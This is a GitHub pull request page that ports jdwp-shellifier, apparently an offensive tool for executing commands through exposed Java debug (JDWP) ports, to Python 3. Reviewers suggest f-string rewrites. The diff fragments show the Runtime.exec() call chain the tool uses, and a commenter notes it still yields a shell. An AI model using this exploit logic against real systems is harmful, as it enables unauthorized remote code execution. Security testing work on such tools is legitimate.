-
Notifications
You must be signed in to change notification settings - Fork 279
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Migrate to Python 3 #9
base: master
Are you sure you want to change the base?
Conversation
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Great stuff, some things to change before merge
@@ -419,64 +422,64 @@ def parse_event_breakpoint(self, buf, eventId): | |||
|
|||
|
|||
def runtime_exec(jdwp, args): | |||
print ("[+] Targeting '%s:%d'" % (args.target, args.port)) | |||
print ("[+] Reading settings for '%s'" % jdwp.version) | |||
print(("[+] Targeting '%s:%d'" % (args.target, args.port))) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Double parenthesis, also if we jump to Py 3.9 might as well use more goodies: here f-strings
print(("[+] Targeting '%s:%d'" % (args.target, args.port))) | |
print(f"[+] Targeting '{args.target}:{args.port}'") |
print ("[+] Targeting '%s:%d'" % (args.target, args.port)) | ||
print ("[+] Reading settings for '%s'" % jdwp.version) | ||
print(("[+] Targeting '%s:%d'" % (args.target, args.port))) | ||
print(("[+] Reading settings for '%s'" % jdwp.version)) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
print(("[+] Reading settings for '%s'" % jdwp.version)) | |
print(f"[+] Reading settings for '{jdwp.version}'") |
if getRuntimeMeth is None: | ||
print ("[-] Cannot find method Runtime.getRuntime()") | ||
return False | ||
print ("[+] Found Runtime.getRuntime(): id=%x" % getRuntimeMeth["methodId"]) | ||
print(("[+] Found Runtime.getRuntime(): id=%x" % getRuntimeMeth["methodId"])) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
print(("[+] Found Runtime.getRuntime(): id=%x" % getRuntimeMeth["methodId"])) | |
print("[+] Found Runtime.getRuntime(): id={getRuntimeMeth['methodId']:x}") |
|
||
# 3. setup breakpoint on frequently called method | ||
c = jdwp.get_class_by_name( args.break_on_class ) | ||
if c is None: | ||
print("[-] Could not access class '%s'" % args.break_on_class) | ||
print(("[-] Could not access class '%s'" % args.break_on_class)) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
print(("[-] Could not access class '%s'" % args.break_on_class)) | |
print(f"[-] Could not access class '{args.break_on_class}'") |
print("[-] It is possible that this class is not used by application") | ||
print("[-] Test with another one with option `--break-on`") | ||
return False | ||
|
||
jdwp.get_methods( c["refTypeId"] ) | ||
m = jdwp.get_method_by_name( args.break_on_method ) | ||
if m is None: | ||
print("[-] Could not access method '%s'" % args.break_on) | ||
print(("[-] Could not access method '%s'" % args.break_on)) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
print(("[-] Could not access method '%s'" % args.break_on)) | |
print(f"[-] Could not access method '{args.break_on}'") |
return False | ||
print ("[+] Runtime.getRuntime() returned context id:%#x" % rt) | ||
print(("[+] Runtime.getRuntime() returned context id:%#x" % rt)) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
print(("[+] Runtime.getRuntime() returned context id:%#x" % rt)) | |
print(f"[+] Runtime.getRuntime() returned context id:{rt:#x}") |
if execMeth is None: | ||
print ("[-] Cannot find method Runtime.exec()") | ||
return False | ||
print ("[+] found Runtime.exec(): id=%x" % execMeth["methodId"]) | ||
print(("[+] found Runtime.exec(): id=%x" % execMeth["methodId"])) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
print(("[+] found Runtime.exec(): id=%x" % execMeth["methodId"])) | |
print(f"[+] found Runtime.exec(): id={execMeth['methodId']:x}") |
print ("[-] Unexpected returned type: expecting Object") | ||
return False | ||
|
||
retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) | ||
print ("[+] Runtime.exec() successful, retId=%x" % retId) | ||
print(("[+] Runtime.exec() successful, retId=%x" % retId)) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
print(("[+] Runtime.exec() successful, retId=%x" % retId)) | |
print(f"[+] Runtime.exec() successful, retId={retId:x}") |
@@ -645,7 +648,8 @@ def str2fqclass(s): | |||
print ("[+] Exiting on user's request") | |||
|
|||
except Exception as e: | |||
print ("[-] Exception: %s" % e) | |||
traceback.print_exc() | |||
print(("[-] Exception: %s" % e)) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
print(("[-] Exception: %s" % e)) | |
print(f"[-] Exception: {str(e)}") |
|
||
|
||
|
||
################################################################################ | ||
# | ||
# JDWP protocol variables | ||
# | ||
HANDSHAKE = "JDWP-Handshake" | ||
HANDSHAKE = b"JDWP-Handshake" |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Can you also edit the README too to mention the script requires Python3 (tested on Python 3.9)?
Greetings, jdwp-shellifier will still happily hand over shell in 2021 although Python 2 is getting harder to find. I managed to get system info and commands executed under Python 3.9 and while breaking on default java.net.ServerSocket.accept method.